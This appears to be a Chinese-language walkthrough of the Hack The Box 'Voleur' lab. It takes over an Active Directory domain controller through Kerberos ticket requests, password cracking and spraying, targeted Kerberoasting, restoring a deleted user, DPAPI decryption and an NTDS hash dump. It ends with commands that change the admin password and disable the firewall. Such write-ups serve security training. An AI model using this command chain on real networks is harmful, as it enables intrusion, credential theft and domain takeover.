目标信息
IP地址:
10.129.20.186
(非固定IP地址)题目凭据:
ryan.naylor / HollowOct31Nyt
信息收集
ICMP检测
PING 10.129.20.186 (10.129.20.186) 56(84) bytes of data.
64 bytes from 10.129.20.186: icmp_seq=1 ttl=127 time=317 ms
64 bytes from 10.129.20.186: icmp_seq=2 ttl=127 time=1567 ms
64 bytes from 10.129.20.186: icmp_seq=3 ttl=127 time=538 ms
64 bytes from 10.129.20.186: icmp_seq=4 ttl=127 time=358 ms
--- 10.129.20.186 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3031ms
rtt min/avg/max/mdev = 316.726/694.951/1567.160/510.389 ms, pipe 2
攻击机和靶机间网络连接正常。
防火墙检测
# Nmap 7.95 scan initiated Sun Jul 6 06:27:58 2025 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.35s latency).
All 65535 scanned ports on 10.129.20.186 are in ignored states.
Not shown: 65535 open|filtered tcp ports (no-response)
# Nmap done at Sun Jul 6 06:28:45 2025 -- 1 IP address (1 host up) scanned in 47.03 seconds
无法探测靶机防火墙状态。
网络端口扫描
TCP
端口扫描结果
# Nmap 7.95 scan initiated Sun Jul 6 06:34:02 2025 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.37s latency).
Not shown: 65515 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-07-06 06:35:31Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2222/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 42:40:39:30:d6:fc:44:95:37:e1:9b:88:0b:a2:d7:71 (RSA)
| 256 ae:d9:c2:b8:7d:65:6f:58:c8:f4:ae:4f:e4:e8:cd:94 (ECDSA)
|_ 256 53:ad:6b:6c:ca:ae:1b:40:44:71:52:95:29:b1:bb:c1 (ED25519)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: voleur.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49671/tcp open msrpc Microsoft Windows RPC
60401/tcp open msrpc Microsoft Windows RPC
60409/tcp open msrpc Microsoft Windows RPC
60429/tcp open msrpc Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|2012|2016 (89%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_server_2012:r2 cpe:/o:microsoft:windows_server_2016
Aggressive OS guesses: Microsoft Windows Server 2022 (89%), Microsoft Windows Server 2012 R2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OSs: Windows, Linux; CPE: cpe:/o:microsoft:windows, cpe:/o:linux:linux_kernel
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
|_clock-skew: 7h59m59s
| smb2-time:
| date: 2025-07-06T06:36:35
|_ start_date: N/A
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 388.68 ms 10.10.14.1
2 388.85 ms 10.129.20.186
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jul 6 06:37:19 2025 -- 1 IP address (1 host up) scanned in 197.54 seconds
UDP
端口开放列表扫描结果
# Nmap 7.95 scan initiated Sun Jul 6 06:40:10 2025 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.20.186
Nmap scan report for 10.129.20.186
Host is up (0.33s latency).
Not shown: 65531 open|filtered udp ports (no-response)
PORT STATE SERVICE
53/udp open domain
88/udp open kerberos-sec
123/udp open ntp
389/udp open ldap
# Nmap done at Sun Jul 6 06:41:19 2025 -- 1 IP address (1 host up) scanned in 68.88 seconds
UDP
端口详细信息扫描结果
(无)
同时发现靶机操作系统为Windows Server
,主域名为voleur.htb
,域控主机名为dc
,禁止了NTLM
登录。靶机还运行一个Ubuntu Linux
容器,并在2222
端口开放了Linux SSH
服务。
服务探测
Linux SSH服务(2222端口)
尝试使用ssh
连接容器的root
用户,发现需要使用密钥登录:
Kerberos服务(88端口)
尝试使用crackmapexec
,通过题目给出的凭据登录SMB
服务,但发现NTLM
登录被禁止:
直接使用impacket-getTGT
工具申请票据,随后使用Kerberos
登录SMB
:
ntpdate -s dc.voleur.htb
impacket-getTGT voleur.htb/ryan.naylor:"HollowOct31Nyt" -dc-ip 10.129.20.186
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/ryan.naylor.ccache
crackmapexec smb dc.voleur.htb -d voleur.htb -u ryan.naylor -k --use-kcache
发现使用Kerberos
票据可正常登录。
首先使用impacket-lookupsid
工具爆破域内用户RID
:
impacket-lookupsid -domain-sid -no-pass -k voleur.htb/ryan.naylor@dc.voleur.htb 40000
经过整理,得到如下域内用户列表:
Administrator
Guest
krbtgt
DC$
ryan.naylor
marie.bryant
lacey.miller
svc_ldap
svc_backup
svc_iis
jeremy.combs
svc_winrm
除此之外,未发现其它信息。
Windows SMB服务
使用impacket-smbclient
登录靶机SMB
服务:
impacket-smbclient voleur.htb/ryan.naylor@dc.voleur.htb -k -no-pass
登录成功!发现SMB
服务内有3
个用户共享:Finance
、HR
和IT
。经测试,发现只有IT
共享可以正常访问:
发现该共享内有目录First Line Support
,目录内有Excel
表格文件Access_Review.xlsx
,下载后打开,发现为加密电子表格:
除此之外,未发现任何信息。
域内关系收集
尝试使用bloodhound-python
工具进行域内信息收集:
bloodhound-python -c All -d voleur.htb -u ryan.naylor -k -no-pass -ns 10.129.73.209 -dc dc.voleur.htb --zip
收集完毕后,将数据集上传至BloodHound
,首先查看最短攻击路径:
发现如下情况:
- 容器
Third-Line Support Technicians
内的用户jeremy.combs
可登录WinRM
; Service Accounts
容器包含svc_winrm
用户,该用户可登录WinRM
;svc_ldap
用户对svc_winrm
用户具有WriteSPN
权限。
但当前用户ryan.naylor
并不处于攻击路径上。
渗透测试
破解加密Excel电子表格获得密码
在SMB
服务探测过程中,我们发现了一份加密的Excel
表格文件:Access_Review.xlsx
,现在尝试对其进行哈希提权和密码破解。
首先使用office2john
工具提取哈希值,去除字符串开头文件名后,保存到Access_Review-xlsx-hash.txt
中:
office2john ./Access_Review.xlsx | awk -F':' '{print $2}' > Access_Review-xlsx-hash.txt
随后使用hashcat
配合rockyou.txt
字典进行爆破:
.\hashcat.exe -m 9600 -a 0 Z:\voleur\Access_Review-xlsx-hash.txt .\rockyou.txt --force
成功获得文件访问口令:
- 文件名:
Access_Review.xlsx
- 口令:
football1
打开文件查看:
发现该表格为员工信息表,同时包含三个密码:NightT1meP1dg3on14
、M1XyC9pW7qT5Vn
和N5pXyW1VqM7CZ8
。
直接将密码添加至pass.lst
中,随后使用如下脚本程序进行密码喷洒:
#!/bin/bash
for i in $(cat aduser.lst); do
for j in $(cat pass.lst)
do
cred_combo="Trying $i - $j ...... "
cmd_output=$(impacket-getTGT voleur.htb/$i:"$j" -dc-ip 10.129.73.209)
if [[ $cmd_output =~ "Saving ticket" ]]; then
echo -e "\e[1;32m [+] $cred_combo Success! \e[0m"
else
echo -e "\e[1;31m [-] \e[0m $cred_combo Failed!"
fi
done
done
成功发现如下用户凭据:
- 域:
voleur.htb
,用户名:ryan.naylor
,密码:HollowOct31Nyt
; - 域:
voleur.htb
,用户名:svc_ldap
,密码:M1XyC9pW7qT5Vn
; - 域:
voleur.htb
,用户名:svc_iis
,密码:N5pXyW1VqM7CZ8
。
阅读员工信息备注,发现用户svc_backup
的凭据可能需要从jeremy.combs
用户处获得,而jeremy.combs
用户疑似对某个名为Software
的目录具有访问权限。
域内危险关系利用
在域内信息收集阶段,我们已经发现svc_ldap
用户对svc_winrm
用户具有WriteSPN
权限,而svc_winrm
用户刚好可以登录WinRM
,所以现在直接使用targetedKerberoast
工具进行利用:ShutdownRepo/targetedKerberoast: Kerberoast with ACL abuse capabilities
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/svc_ldap.ccache
/home/megumin/Documents/Programs/targetedKerberoast/targetedKerberoast.py -v -d voleur.htb -u svc_ldap -k --no-pass --dc-ip 10.129.73.209 --dc-host dc.voleur.htb
将svc_winrm
的哈希保存到文本文件内,随后使用hashcat
破解:
.\hashcat.exe -m 13100 -a 0 Z:\voleur\userhash\svc_winrm.txt .\rockyou.txt --force
成功获得用户凭据:
- 域:
voleur.htb
- 用户名:
svc_winrm
- 密码:
AFireInsidedeOzarctica980219afi
配置/etc/krb5.conf
文件:
[libdefaults]
default_realm = VOLEUR.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
VOLEUR.HTB = {
kdc = DC.VOLEUR.HTB
admin_server = DC.VOLEUR.HTB
default_domain = DC.VOLEUR.HTB
}
[domain_realm]
.voleur.htb = VOLEUR.HTB
voleur.htb = VOLEUR.HTB
随后使用kinit
和impacket-getTGT
获取票据,直接登录WinRM
:
kinit svc_winrm@VOLEUR.HTB
impacket-getTGT voleur.htb/svc_winrm:"AFireInsidedeOzarctica980219afi" -dc-ip 10.129.31.94
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/svc_winrm.ccache
evil-winrm -i dc.voleur.htb --realm VOLEUR.HTB
登录成功!!
权限提升
目录信息收集
登录系统后,进行目录信息收集,在C
盘根目录下找到了SMB
服务中的共享目录,其中Finance
和HR
目录为空目录,C:\IT
目录下实际存在3
个子目录:
尝试列出3
个目录下的文件,但都提示拒绝访问:
结合域中存在的3
个关于IT
管理员的用户组名称,推测SMB
服务IT
共享内的三个文件夹实际上对应上述3
个用户组,只有处于正确用户组中的用户才能访问对应的共享。例如,ryan.naylor
用户处于First-Line Technicians
组中,所以该用户才能访问First-Line Support
文件夹:
除此之外,未发现其它敏感信息。
恢复todd.wolfe用户
在之前发现的Excel
用户表格中,存在着一个已经被删除的用户todd.wolfe
的记录。该用户属于Second-Line Support Technician
组,可能有权限访问IT
共享内Second Line Support
文件夹。
再次查看BloodHound
数据,发现svc_ldap
用户刚好属于一个名为Restore_Users
的用户组:
怀疑svc_ldap
用户有权限操作Active Directory
回收站,并对已删除的用户进行恢复。
尝试安装最新版本的bloodyAD
:
pipx install bloodyAD
随后使用新版bloodyAD
的恢复用户功能,通过svc_ldap
用户身份将todd.wolfe
用户从回收站取回:
/root/.local/bin/bloodyAD -d voleur.htb -u svc_ldap -k --host dc.voleur.htb set restore todd.wolfe
恢复成功!使用如下用户凭据获取TGT
票据:
- 域:
voleur.htb
- 用户名:
todd.wolfe
- 密码:
NightT1meP1dg3on14
impacket-getTGT voleur.htb/todd.wolfe:"NightT1meP1dg3on14" -dc-ip 10.10.11.76
成功!
解密DPAPI密钥存储库
成功获取todd.wolfe
用户票据后,登录SMB
服务,对IT
共享下的Second Line Support
目录进行枚举:
impacket-smbclient voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass
发现IT
共享下/Second-Line Support/Archived Users/todd.wolfe/
目录为备份的todd.wolfe
用户家目录。
尝试在家目录下进行枚举,在./AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/
目录下发现了todd.wolfe
用户的DPAPI
主密钥文件08949382-134f-4c63-b93c-ce52efc0aa88
:
同时,还在./AppData/Local/Microsoft/Credentials/
和./AppData/Roaming/Microsoft/Credentials
目录下发现了两个DPAPI
凭据存储库文件:
直接下载MasterKey
和两个DPAPI
凭据库:
get ./AppData/Roaming/Microsoft/Protect/S-1-5-21-3927696377-1337352550-2781715495-1110/08949382-134f-4c63-b93c-ce52efc0aa88
get ./AppData/Local/Microsoft/Credentials/DFBE70A7E5CC19A398EBF1B96859CE5D
get ./AppData/Roaming/Microsoft/Credentials/772275FAD58525253490A9B0039791D3
随后,尝试使用impacket-dpapi
工具,通过todd.wolfe
身份连接域控,获取存储在LDAP
数据库内的备份密钥,并解密主密钥文件:
impacket-dpapi masterkey -file ./dpapi/08949382-134f-4c63-b93c-ce52efc0aa88 -t voleur.htb/todd.wolfe@dc.voleur.htb -k -no-pass
成功解密DPAPI
主密钥:0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83
。
获取主密钥后,尝试利用其解密凭据存储库文件:
impacket-dpapi credential -file ./dpapi/772275FAD58525253490A9B0039791D3 -key "0xd2832547d1d5e0a01ef271ede2d299248d1cb0320061fd5355fea2907f9cf879d10c9f329c77c4fd0b9bf83a9e240ce2b8a9dfb92a0d15969ccae6f550650a83"
成功发现如下用户凭据:
- 域:
voleur.htb
- 用户名:
jeremy.combs
- 密码:
qT3V9pLXyN7W4m
尝试获取TGT
票据:
impacket-getTGT voleur.htb/jeremy.combs:"qT3V9pLXyN7W4m" -dc-ip 10.10.11.76
成功!
登录WSL容器获取NTDS数据库备份
获取jeremy.combs
用户票据后,登录SMB
服务IT
共享,查看第三个目录:
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/jeremy.combs.ccache
impacket-smbclient voleur.htb/jeremy.combs@dc.voleur.htb -k -no-pass
发现了一份SSH
私钥,和一个TXT
文件,首先使用cat
命令查看Note.txt.txt
,内容如下:
Jeremy,
I've had enough of Windows Backup! I've part configured WSL to see if we can utilize any of the backup tools from Linux.
Please see what you can set up.
Thanks,
Admin
文中说管理员已经受够了Windows
备份工具,因此,他配置了一个WSL
容器,并尝试利用一些Linux
备份工具来代替Windows
工具。这说明靶机2222
端口的Linux SSH
属于WSL
容器,而且是专门用于操作备份的。
首先将SSH
私钥下载到本地:
get id_rsa
chmod 400 id_rsa
随后尝试使用jeremy
、jeremy.combs
、admin
等词作为用户进行登录,但全部失败了。
尝试使用域内用户名登录,最后发现svc_backup
用户是该SSH
私钥的所有者,可以正常登录SSH
:
ssh svc_backup@voleur.htb -p 2222 -i id_rsa
登录成功后,进行目录信息收集,在/mnt/c/
目录下发现,WSL
容器直接挂载了整个宿主机的C
盘:
ls -lA /mnt
ls -lA /mnt/c
推测此WSL
容器以svc_backup
域用户身份运行。尝试再次查看Third-Line Support
共享目录,发现里面还存在一个Backups
文件夹:
直接查看/mnt/c/IT/"Third-Line Support"/Backups/
目录下文件:
ls -lAR ./Backups
发现NTDS
数据库ntds.dit
和SYSTEM
注册表转储文件!直接使用scp
将其传输到本地:
scp -P 2222 svc_backup@voleur.htb:/mnt/c/IT/"Third-Line Support"/Backups/"Active Directory"/ntds.dit ./ntds.dit -i id_rsa
scp -P 2222 svc_backup@voleur.htb:/mnt/c/IT/"Third-Line Support"/Backups/registry/SYSTEM ./SYSTEM.hive -i id_rsa
下载完毕后,使用impacket-secretsdump
工具获取保存在NTDS
数据库内的域用户凭据信息:
impacket-secretsdump -ntds ./ntds.dit -system ./SYSTEM.hive LOCAL
成功获取域管理员用户凭据:
- 域:
voleur.htb
- 用户名:
Administrator
NTLM
哈希:e656e07c56d831611b577b160b259ad2
直接获取管理员TGT
票据:
impacket-getTGT voleur.htb/Administrator -hashes aad3b435b51404eeaad3b435b51404ee:e656e07c56d831611b577b160b259ad2 -dc-ip 10.10.11.76
随后使用票据登录SMB
管理共享,更改管理员密码并开启远程桌面:
export KRB5CCNAME=/home/megumin/Documents/pentest_notes/voleur/Administrator.ccache
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "net user Administrator Asd310056 /domain"
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "netsh advfirewall set allprofiles state off"
crackmapexec smb dc.voleur.htb -d voleur.htb -u Administrator -k --use-kcache -x "wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1"
最后,使用rdesktop
工具登录RDP
:
rdesktop dc.voleur.htb -p 3389 -g 1440x960 -a 24
提权成功!!!!